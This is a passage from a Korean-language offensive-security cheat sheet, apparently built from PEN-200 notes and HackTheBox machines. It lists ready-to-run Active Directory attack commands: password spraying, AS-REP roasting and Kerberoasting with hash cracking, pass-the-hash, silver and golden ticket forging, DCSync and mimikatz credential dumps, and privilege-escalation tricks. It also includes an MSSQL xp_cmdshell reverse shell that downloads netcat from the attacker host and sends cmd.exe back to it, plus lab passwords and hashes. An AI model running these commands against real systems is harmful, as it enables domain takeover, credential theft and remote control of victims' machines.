2crackmapexec smb <DC_IP> -u users.txt -p '<PASS>' -d <DOMAIN> --continue-on-success
3nxc smb <DC_IP> -u users.txt -p '<PASS>' -d <DOMAIN> --continue-on-success

► --continue-on-success : 성공해도 계속 시도. Lockout 정책 확인 후 시도.


12.3 AS-REP Roasting (사전 인증 비활성 계정)

1# 실명 발견 시 사용자명 변형 생성 (예: 웹/LDAP에서 "Hugo Smith" 확인)
2# 패턴: firstname.lastname / flastname / firstlast / f.lastname / lastname.firstname
3printf "%s\n" hugo.smith hsmith hugosmith h.smith smith.hugo > users.txt
4
5# 사용자명 리스트로 AS-REP Roasting (크레덴셜 없이)
6impacket-GetNPUsers <DOMAIN>/ \
7  -usersfile users.txt \
8  -dc-ip <DC_IP> \
9  -no-pass

► 웹 About/Team 페이지, LDAP 익명 검색으로 실명 수집 → 변형 생성 후 AS-REP 시도 (HTB Sauna 패턴).

1# Kali (크레덴셜 없이도 가능)
2impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/
3
4# 크레덴셜 있을 때
5impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/<USER>
6
7# 크랙 (m=18200)
8sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
1# Windows: Rubeus
2.\Rubeus.exe asreproast /nowrap

► “Do not require Kerberos preauthentication” 설정된 계정 대상.


12.4 Kerberoasting (SPN 계정 해시 추출)

 1# Impacket (크레덴셜 필요)
 2sudo impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS>
 3
 4# 특정 사용자만 타겟
 5impacket-GetUserSPNs <DOMAIN>/<USER>:'<PASS>' \
 6  -dc-ip <DC_IP> \
 7  -request-user <TARGET_USER> \
 8  -outputfile <TARGET>.hash
 9
10# 크랙 (m=13100)
11sudo hashcat -m 13100 <TARGET>.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
1# Windows: Rubeus
2.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

► GenericWrite 권한 있으면 setspn -S로 임시 SPN 추가 후 Kerberoasting 가능. ► 크랙 전 unset KRB5CCNAME 으로 캐시 초기화.


12.5 Pass-the-Hash (PTH)

 1# impacket psexec (ADMIN$ 쓰기 권한 필요)
 2impacket-psexec <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH>
 3
 4# WMIExec (ADMIN$ 불필요, 흔적 적음)
 5impacket-wmiexec <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH>
 6
 7# SMBExec
 8impacket-smbexec <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH>
 9
10# evil-winrm
11evil-winrm -i <IP> -u <USER> -H <NTLM_HASH>
12
13# nxc
14nxc smb <IP> -u <USER> -H <NTLM_HASH> -d <DOMAIN>

12.6 Overpass-the-Hash / Pass-the-Ticket

# NTLM → Kerberos TGT 변환
sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell.exe
 1# impacket-getTGT — NTLM 해시로 TGT(ccache) 발급
 2impacket-getTGT <DOMAIN>/<USER> -hashes :<NTLM_HASH> -dc-ip <DC_IP>
 3# Saving ticket in <USER>.ccache
 4
 5export KRB5CCNAME=<USER>.ccache
 6
 7# Linux (ccache 티켓으로 접속)
 8impacket-psexec -k -no-pass <DOMAIN>/<USER>@<TARGET>
 9impacket-smbclient -k -no-pass <DOMAIN>/<USER>@<TARGET>
10proxychains impacket-smbclient <DOMAIN>/<USER>:<PASS>@<DC_IP>
# 티켓 주입 (Windows)
kerberos::ptt ticket.kirbi
klist   # 확인

12.7 Silver Ticket

필요 재료: 서비스 계정 NTLM 해시 · 도메인 SID · 대상 SPN
효과: TGS를 위조 → KDC 없이 특정 서비스에 직접 인증 (네트워크 트래픽 최소화)

# 재료 수집
whoami /user                        # 현재 사용자 SID 확인
lsadump::dcsync /user:<SVC_ACCOUNT> # 서비스 계정 NTLM 해시 추출
# Silver Ticket 생성 (예: CIFS 서비스)
kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<SVC_NTLM_HASH> \
  /user:Administrator /service:cifs /target:<TARGET_FQDN> \
  /ptt
# /ptt = Pass-the-Ticket (메모리에 바로 주입), 생략 시 ticket.kirbi 저장
SPN 예시접근 서비스
cifs/<HOST>SMB (파일 공유, psexec)
http/<HOST>IIS / WinRM
host/<HOST>다수 서비스 (WMI 포함)
mssql/<HOST>SQL Server
1# Linux (impacket) — 서비스 계정 해시로 TGS 직접 위조
2impacket-ticketer -nthash <SVC_NTLM_HASH> -domain-sid <DOMAIN_SID> \
3  -domain <DOMAIN> -spn cifs/<TARGET_FQDN> Administrator
4# → Administrator.ccache 생성
5
6export KRB5CCNAME=Administrator.ccache
7impacket-smbclient -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
8impacket-psexec    -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
1# 도메인 SID 확인법
2impacket-getPac -targetUser <ANY_USER> <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>
3# 또는
4lookupsid.py <DOMAIN>/<USER>:<PASS>@<DC_IP> | grep "Domain SID"

► Silver ≠ Golden: KDC(krbtgt) 해시 불필요, 서비스 계정 해시만 있으면 됨.
► 도메인 SID = 사용자 SID에서 마지막 RID(-500 등) 제거한 부분.


12.8 Golden Ticket

필요 재료: krbtgt NTLM 해시 · 도메인 SID
효과: TGT 자체를 위조 → 도메인 내 모든 서비스 접근 가능 (영구 백도어)

# krbtgt 해시 획득 (DCSync 권한 필요)
lsadump::dcsync /user:krbtgt

# Golden Ticket 생성 + 주입
kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<KRBTGT_NTLM> \
  /user:Administrator /id:500 /ptt
klist   # 확인
1# impacket
2impacket-ticketer -nthash <KRBTGT_NTLM> -domain-sid <DOMAIN_SID> \
3  -domain <DOMAIN> Administrator
4export KRB5CCNAME=Administrator.ccache
5impacket-psexec -k -no-pass <DOMAIN>/Administrator@<DC_FQDN>

► krbtgt 해시 리셋 전까지 유효 (패스워드 변경해도 10분 캐시).
► Silver vs Golden 비교: Silver = 단일 서비스 / Golden = 도메인 전체.


12.9 DCSync (도메인 전체 해시 덤프)

1# 단일 사용자 해시 추출
2impacket-secretsdump -just-dc-user administrator <DOMAIN>/<USER>:"<PASS>"@<DC_IP>
3
4# krbtgt (Golden Ticket용)
5impacket-secretsdump -just-dc-user krbtgt <DOMAIN>/<USER>:"<PASS>"@<DC_IP>
6
7# NTLM 크랙 (m=1000)
8hashcat -m 1000 <HASH> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

► DCSync 조건: GetChanges + GetChangesAll 권한 (BloodHound에서 확인). ► 도메인 관리자 해시 획득 → PTH로 도메인 장악.


12.10 mimikatz (로컬 크레덴셜 덤프)

privilege::debug
sekurlsa::logonpasswords   # 메모리에서 평문·해시 덤프
sekurlsa::tickets           # 캐시된 Kerberos 티켓
lsadump::dcsync /user:corp\Administrator

12.11 Password Safe (.psafe3) 크랙

1# hashcat 모드 5200
2sudo hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
3
4# 파일 열기
5sudo apt install passwordsafe
6pwsafe Backup.psafe3

► FTP 서버에 .psafe3 파일 있는 경우 (HTB Administrator 패턴).


13. 공통 유틸리티

13.1 파일 전송

1# Kali HTTP 서버
2python3 -m http.server 80
3sudo systemctl start apache2
1# Windows 다운로드
2iwr -uri http://<KALI_IP>/file.exe -Outfile file.exe
3certutil -urlcache -split -f http://<KALI_IP>/file.exe file.exe
1# FTP 접속 (anonymous 또는 자격증명)
2ftp <IP>
3# Name: anonymous (엔터)
4# 또는 사용자명 입력
5ftp> ls
6ftp> get <FILE>
7ftp> put <FILE>
8ftp> binary   # 바이너리 모드 (exe, zip 등)

13.2 RDP / SMB 접속

1# RDP (드라이브 공유 + 클립보드)
2xfreerdp3 /u:<USER> /p:'<PASS>' /v:<IP> /clipboard /dynamic-resolution /drive:share,/home/kali/Downloads
3
4# SMB 익명 열거
5smbclient -L //<IP> -N
6
7# SMB 자격증명 접속
8smbclient //<IP>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>'

► /drive:share,/path : Kali 디렉토리를 RDP 세션 내 드라이브로 마운트 → 파일 전송 편리. ► /clipboard : 클립보드 공유.


13.3 원격 실행 (PsExec / WMI / WinRM)

 1# WinRM → evil-winrm (파일 업로드/다운로드 편함)
 2evil-winrm -i <IP> -u <USER> -p '<PASS>'
 3
 4# PsExec (SMB 445 + ADMIN$ 쓰기 권한 필요)
 5impacket-psexec <DOMAIN>/<USER>:<PASS>@<IP>
 6
 7# WMIExec (ADMIN$ 불필요, 흔적 적음)
 8impacket-wmiexec <DOMAIN>/<USER>:<PASS>@<IP>
 9
10# SMBExec (느리지만 AV 우회 유용)
11impacket-smbexec <DOMAIN>/<USER>:<PASS>@<IP>

13.4 nc 리스너 / 피봇 포트스캔

1# 리스너
2nc -lvp 4444
3
4# 내부망 SMB 활성 호스트 스캔 (피봇 후)
5for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445 2>&1 | grep succeeded; done

13.5 PowerShell 실행 정책 우회

1powershell -ep bypass
2Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

13.6 파일 생성 (heredoc / unix2dos)

1# heredoc으로 파일 생성 (특수문자 포함 시 유용)
2cat > script.txt << 'EOF'
3line1
4line2
5EOF
6
7# Windows 줄바꿈 변환 (diskshadow 등 Windows 명령어에 필요)
8unix2dos script.txt

13.7 터미널 검색 / 기타

 1# exploitdb 브라우저 검색
 2firefox --search "Apache 2.4.49 site:exploit-db.com"
 3
 4# NTLM/Kerberos 해시 형식 확인
 5hashcat --help | grep -i "kerberos"
 6hashcat --help | grep -i "ntlm"
 7
 8# curl HTTP 응답 확인
 9curl -I <IP>:80
10curl -s <IP>/page.php

13.8 MSSQL 공격 (impacket-mssqlclient)

1# Windows 인증으로 접속 (도메인 계정 사용)
2impacket-mssqlclient <DOMAIN>/<USER>:'<PASS>'@<IP> -windows-auth
3proxychains impacket-mssqlclient <DOMAIN>/<USER>:'<PASS>'@<IP> -windows-auth
4
5# SQL 인증으로 접속
6impacket-mssqlclient <IP> -U sa -P '<PASS>'
7
8# NTLM 해시로 접속
9impacket-mssqlclient <DOMAIN>/<USER>@<IP> -hashes :<NTLM_HASH> -windows-auth
 1-- xp_cmdshell 활성화
 2EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
 3EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
 4
 5-- 명령 실행
 6EXEC xp_cmdshell 'whoami';
 7EXEC xp_cmdshell 'whoami /priv';     -- SeImpersonatePrivilege 확인
 8EXEC xp_cmdshell 'net user';
 9
10-- 리버스 셸 (PowerShell)
11EXEC xp_cmdshell 'powershell -c "iwr http://<KALI>/nc.exe -Outfile C:\Windows\Temp\nc.exe"';
12EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe <KALI> 4444 -e cmd.exe';
13
14-- SMB 공유에서 툴 복사 (피벗 호스트 공유 필요)
15EXEC xp_cmdshell 'net use \\<PIVOT>\share /user:Administrator <PASS>';
16EXEC xp_cmdshell 'copy \\<PIVOT>\share\po.exe C:\Windows\Temp\po.exe';
17EXEC xp_cmdshell 'C:\Windows\Temp\po.exe "cmd /c net user Administrator <PASS>"';
 1-- Impersonation 열거 (sysadmin 아닐 때)
 2SELECT * FROM sys.server_principals WHERE type = 'S';
 3SELECT distinct b.name FROM sys.server_permissions a
 4  INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
 5  WHERE a.permission_name = 'IMPERSONATE';
 6
 7-- Impersonation 실행
 8EXECUTE AS LOGIN = 'sa';
 9SELECT SYSTEM_USER;   -- sa 로 전환됐는지 확인
10EXEC xp_cmdshell 'whoami';
1# 피벗 호스트에서 SMB 공유 생성 (xp_cmdshell 툴 전송용)
2New-SmbShare -Name "share" -Path "C:\Users\<USER>\Documents" -FullAccess "Everyone"
3# 사용 후 정리
4Remove-SmbShare -Name "share" -Force

► xp_cmdshell 비활성화 시 sp_configure로 활성화 — sysadmin 권한 필요. ► sysadmin 아닐 때 → Impersonation 또는 Linked Server 경유. ► SeImpersonatePrivilege 있으면 xp_cmdshell에서 SigmaPotato로 SYSTEM 탈취 가능.


13.9 .git 노출 → git-dumper

 1# .git 디렉토리 노출 확인
 2curl -s http://<IP>/.git/HEAD   # "ref: refs/heads/main" 이면 취약
 3
 4# git-dumper 설치 및 실행
 5pip install git-dumper --break-system-packages
 6git-dumper http://<IP>/.git /tmp/gitdump
 7
 8# 커밋 히스토리에서 자격증명 탐색
 9cd /tmp/gitdump
10git log -p --all | grep -i "password\|username\|passwd\|secret\|key"
11git log --oneline --all   # 커밋 목록
12git show <COMMIT_HASH>    # 특정 커밋 내용

► .git 노출 시 과거 커밋에 제거된 자격증명·API 키가 남아있는 경우 많음.


13.10 Linux 추가 기법

 1# SUID bash 악용 (bash -p 플래그 필수)
 2bash -p     # effective uid 유지 (drop 비활성화)
 3# -p 없으면 SUID 권한 자동 drop → root 안 됨
 4
 5# SSH 로컬 포워딩 (JDWP 등 내부 포트 접근)
 6ssh -i <KEY> -L 8000:127.0.0.1:8000 <USER>@<IP>
 7# 이후 Kali에서 127.0.0.1:8000 으로 타겟 내부 포트 접근
 8
 9# JDWP RCE (root가 -Xdebug 포트 열었을 때)
10# 대상 머신에서 nc로 디버거 연결 트리거
11python2 jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "chmod +s /bin/bash"
12
13# PATH 하이재킹 (SUID 바이너리가 절대경로 없이 명령 호출할 때)
14# strings <SUID_BINARY> 로 호출하는 명령 확인 후
15cat > /tmp/<command> << 'EOF'
16#!/bin/bash
17cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
18EOF
19chmod +x /tmp/<command>
20export PATH=/tmp:$PATH
21./<SUID_BINARY>
22/tmp/rootbash -p    # root 셸


14. 도구 레퍼런스

14.1 impacket 명령어 전체 레퍼런스

모든 impacket 툴 공통: NTLM 인증은 기본, Kerberos 인증은 -k -no-pass + export KRB5CCNAME=<file>.ccache

열거 (Enumeration)

명령어주요 옵션사용 시나리오
impacket-lookupsid'domain/guest'@IP -no-pass크레덴셜 없이 RID 브루트포싱으로 사용자/그룹 목록 추출
impacket-samrdumpdomain/user@IP -hashes :NTLMSAMR 프로토콜로 도메인 사용자 열거
impacket-rpcdumpdomain/user@IPRPC 엔드포인트 열거
impacket-getPac-targetUser <USER> domain/user:'pass'PAC(Kerberos 속성 인증서)에서 도메인 SID 추출
1# 사용 예시
2impacket-lookupsid 'cicada.htb/guest'@10.10.10.10 -no-pass
3impacket-samrdump scrm.local/sqlsvc:'Pegasus60'@dc1.scrm.local
4impacket-getPac -targetUser sqlsvc scrm.local/sqlsvc:'Pegasus60'

Kerberos 공격

명령어주요 옵션사용 시나리오
impacket-GetNPUsersDOMAIN/ -usersfile users.txt -dc-ip IP -no-passAS-REP Roasting (사전인증 비활성 계정 해시 추출)
impacket-GetNPUsersDOMAIN/user:'pass' -request -dc-ip IP크레덴셜 있을 때 AS-REP 해시 추출
impacket-GetUserSPNsDOMAIN/user:'pass' -dc-ip IP -requestKerberoasting (SPN 계정 TGS 해시 추출)
impacket-GetUserSPNs-k -no-pass -dc-host dc.domain -request-user <USER>Kerberos 인증으로 특정 계정만 Kerberoasting
impacket-getTGTDOMAIN/user:'pass' -dc-ip IP평문으로 TGT ccache 발급
impacket-getTGTDOMAIN/user -hashes :NTLM -dc-ip IPNTLM 해시로 TGT ccache 발급
impacket-ticketer-nthash HASH -domain-sid SID -domain DOMAIN -spn SPN userSilver Ticket 생성 (서비스 계정 해시 필요)
impacket-ticketer-nthash KRBTGT_HASH -domain-sid SID -domain DOMAIN userGolden Ticket 생성 (krbtgt 해시 필요)
 1# AS-REP Roasting
 2impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -dc-ip 10.10.10.10 -no-pass
 3
 4# Kerberoasting (NTLM 비활성 환경)
 5export KRB5CCNAME=user.ccache
 6impacket-GetUserSPNs scrm.local/sqlsvc -k -no-pass -dc-host dc1.scrm.local -request
 7
 8# Silver Ticket
 9impacket-ticketer -nthash <SVC_NTLM> -domain-sid <SID> -domain scrm.local -spn MSSQLSvc/dc1.scrm.local:1433 Administrator
10export KRB5CCNAME=Administrator.ccache

원격 실행 (Lateral Movement)

명령어주요 옵션사용 시나리오조건
impacket-psexecDOMAIN/user:'pass'@IPSYSTEM 쉘 획득ADMIN$ 쓰기 권한 필요
impacket-psexecDOMAIN/user@IP -hashes :NTLMPTH로 SYSTEM 쉘ADMIN$ 쓰기
impacket-psexec-k -no-pass DOMAIN/user@TARGETKerberos 인증 SYSTEM 쉘KRB5CCNAME 설정
impacket-wmiexecDOMAIN/user@IP -hashes :NTLMWMI 통한 명령 실행ADMIN$ 불필요, 흔적 적음
impacket-smbexecDOMAIN/user@IP -hashes :NTLMSMB 통한 명령 실행느리지만 AV 우회 유용
impacket-mssqlclientDOMAIN/user:'pass'@IP -windows-authMSSQL 접속 (Windows 인증)MSSQL 포트 1433
impacket-mssqlclient-k -no-pass DOMAIN/user@HOSTKerberos 인증 MSSQLKRB5CCNAME 설정
1# PTH
2impacket-psexec scrm.local/Administrator@10.10.10.10 -hashes :3dc553ce4b9fd20bd016e098d2d2fd2e
3
4# Kerberos (Silver Ticket 후)
5export KRB5CCNAME=Administrator.ccache
6impacket-mssqlclient -k -no-pass scrm.local/Administrator@dc1.scrm.local

크레덴셜 덤프

명령어주요 옵션사용 시나리오
impacket-secretsdumpDOMAIN/user:'pass'@IP원격 SAM/LSA/캐시 해시 덤프
impacket-secretsdump-just-dc-user administrator DOMAIN/user:'pass'@DC_IPDCSync (단일 계정)
impacket-secretsdump-just-dc-user krbtgt DOMAIN/user:'pass'@DC_IPkrbtgt 해시 (Golden Ticket용)
impacket-secretsdump-sam SAM -system SYSTEM -security SECURITY LOCAL로컬 파일에서 오프라인 해시 추출
impacket-secretsdump-ntds ntds.dit -system SYSTEM LOCALNTDS.dit 오프라인 파싱
1# DCSync
2impacket-secretsdump -just-dc-user administrator administrator.htb/ethan:"limpbizkit"@10.10.10.10
3
4# 로컬 파일 (SAM/SYSTEM 다운로드 후)
5impacket-secretsdump -sam SAM -system SYSTEM LOCAL
6
7# NTDS.dit 오프라인
8impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

SMB / 파일 접근

명령어주요 옵션사용 시나리오
impacket-smbclientDOMAIN/user@HOST -k -no-passKerberos 인증 SMB 접속
impacket-smbclientDOMAIN/user:'pass'@IP평문 인증 SMB
1export KRB5CCNAME=user.ccache
2impacket-smbclient scrm.local/ksimpson@dc1.scrm.local -k -no-pass
3# shares → use Public → ls → get file.pdf

기타

명령어주요 옵션사용 시나리오
impacket-addcomputerDOMAIN/user:'pass' -dc-ip IP -computer-name 'ATK$' -computer-pass 'Pass!'RBCD 공격용 컴퓨터 계정 추가
impacket-rbcd-action write -delegate-from 'ATK$' -delegate-to 'TARGET$'RBCD 위임 설정
impacket-findDelegationDOMAIN/user:'pass' -dc-ip IP위임 설정된 계정/컴퓨터 열거

14.2 smbclient 옵션 레퍼런스

접속 옵션

옵션설명예시
-L //IP공유 목록 열거smbclient -L //10.10.10.10 -N
-N패스워드 없이 접속 (익명)smbclient -L //IP -N
-U 'DOMAIN/user%pass'자격증명 지정-U 'cicada.htb/david%aRt$Lp#7t*VQ!3'
--password=PASS패스워드 별도 지정 (특수문자 안전)--password='P@ss!'
-p PORT포트 지정 (기본 445)-p 4445
--pw-nt-hashNTLM 해시로 인증-U user --pw-nt-hash -p :NTLM
-W DOMAIN워크그룹/도메인 지정-W cicada.htb
1# 익명 열거
2smbclient -L //10.10.10.10 -N
3
4# 자격증명 접속
5smbclient //10.10.10.10/HR -U 'cicada.htb/michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8'
6
7# 피벗 (proxychains)
8proxychains smbclient //INTERNAL_IP/share -U user --password=pass

내부 명령어 (접속 후)

명령설명
shares공유 목록 (impacket-smbclient)
use <SHARE>공유 선택
ls파일 목록
get <FILE>파일 다운로드
put <FILE>파일 업로드
mget *전체 파일 다운로드
recurse ON + mget *재귀 다운로드
cd <DIR>디렉토리 이동
prompt OFFmget 확인 프롬프트 비활성화
binary바이너리 모드 (exe/zip 등)
exit종료
1# 전체 공유 재귀 다운로드
2smbclient //IP/SHARE -U 'domain/user%pass' -c 'prompt OFF; recurse ON; mget *'

nxc smb (CrackMapExec 대체)

 1# 공유 열거
 2nxc smb IP -u user -p 'pass' -d domain --shares
 3
 4# 사용자 열거
 5nxc smb IP -u '' -p '' --users          # 익명
 6nxc smb IP -u user -p 'pass' --users    # 인증
 7
 8# 패스워드 스프레이
 9nxc smb IP -d domain -u users.txt -p 'pass' --continue-on-success
10
11# PTH
12nxc smb IP -u administrator -H NTLM_HASH
13
14# 로컬 계정 (도메인 아닌 경우)
15nxc smb IP -u administrator -H NTLM_HASH --local-auth

치트시트 출처: PEN-200 강의 ch623 + 개인 메모 (Commands.md) + HTB 실전 (Administrator, Cicada, Sauna, Scrambled, 2026-08-14) 미포함 챕터: AV 우회(ch15), 패스워드 공격(ch16), AD 측면이동(ch24), AWS(ch2526)